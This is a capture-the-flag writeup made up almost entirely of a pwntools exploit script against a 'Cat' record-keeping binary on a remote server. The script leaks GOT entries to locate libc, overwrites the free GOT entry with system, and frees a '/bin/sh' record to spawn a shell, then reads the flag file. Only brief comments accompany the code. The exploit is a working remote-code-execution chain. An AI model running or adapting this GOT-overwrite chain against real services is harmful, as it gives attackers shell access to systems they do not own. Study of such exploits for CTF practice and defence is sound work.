Rating: 1.0

```
from pwn import *

context.binary = "./Cat"

#p = process("./Cat")
p = remote("178.62.40.102", 6000)

def create_record(r, name, kind, age):
r.sendlineafter("> ", "1")
r.sendlineafter("> ", name)
r.sendlineafter("> ", kind)
r.sendlineafter("> ", str(age))

def edit_record(r, id, name, kind, age, modify):
r.sendlineafter("> ", "2")
r.sendlineafter("> ", id)
r.sendlineafter("> ", name)
r.sendlineafter("> ", kind)
r.sendlineafter("> ", str(age))
r.sendlineafter("n> ", modify)

def print_record(r, id):
r.sendlineafter("> ", "3")
r.sendlineafter("> ", id)
r.recvuntil("name: ")
name = r.recvline()
r.recvuntil("kind: ")
kind = r.recvline()
r.recvuntil("old: ")
old = int(r.recvline(), 10)
data = r.recvuntil("----------------")
return name, kind, old

create_record(p, "", "", 0)
edit_record(p, "0", "", "", 0, "n")

buff1 = 0x6020b8 # entry number 3
buff2 = buff1 + 8 # entry number 4

payload = p64(buff1) # this allows us to write there with name
payload += p64(buff2) # this allow us to write there with kind
create_record(p, "", payload, 0)
# this leaks got.read+3 = malloc
# this leaks got.free+3 = puts
edit_record(p, "0", p64(context.binary.got.read), p64(context.binary.got.free) , 0, "y")
_, _, o = print_record(p, "3")
_, _, o2 = print_record(p, "4")

# o points to malloc, o2 points to puts
# this allows us to figure out which libs is in use
# we download it and use it locally
libc = ELF("./libc.so")
libc.address = o - libc.sym.malloc

create_record(p, "", "", 0) # record 4
create_record(p, "", "", 0) # record 5
create_record(p, "", "", 0) # record 6

edit_record(p, "6", "", "", 0, "n")
payload = p64(context.binary.got.free) # we want to overwrite the free got entry with system
payload += p64(buff2) # unused
# "/bin/sh" is uses in free
create_record(p, "/bin/sh", payload, 0)
edit_record(p, "7", p64(libc.sym.system), p64(context.binary.got.free) , 0, "y")

p.sendline("cat /home/pwn/flag")
p.interactive()
```

Original writeup (https://gist.github.com/felberj/9242787ae91fbc597224069a6beada8a).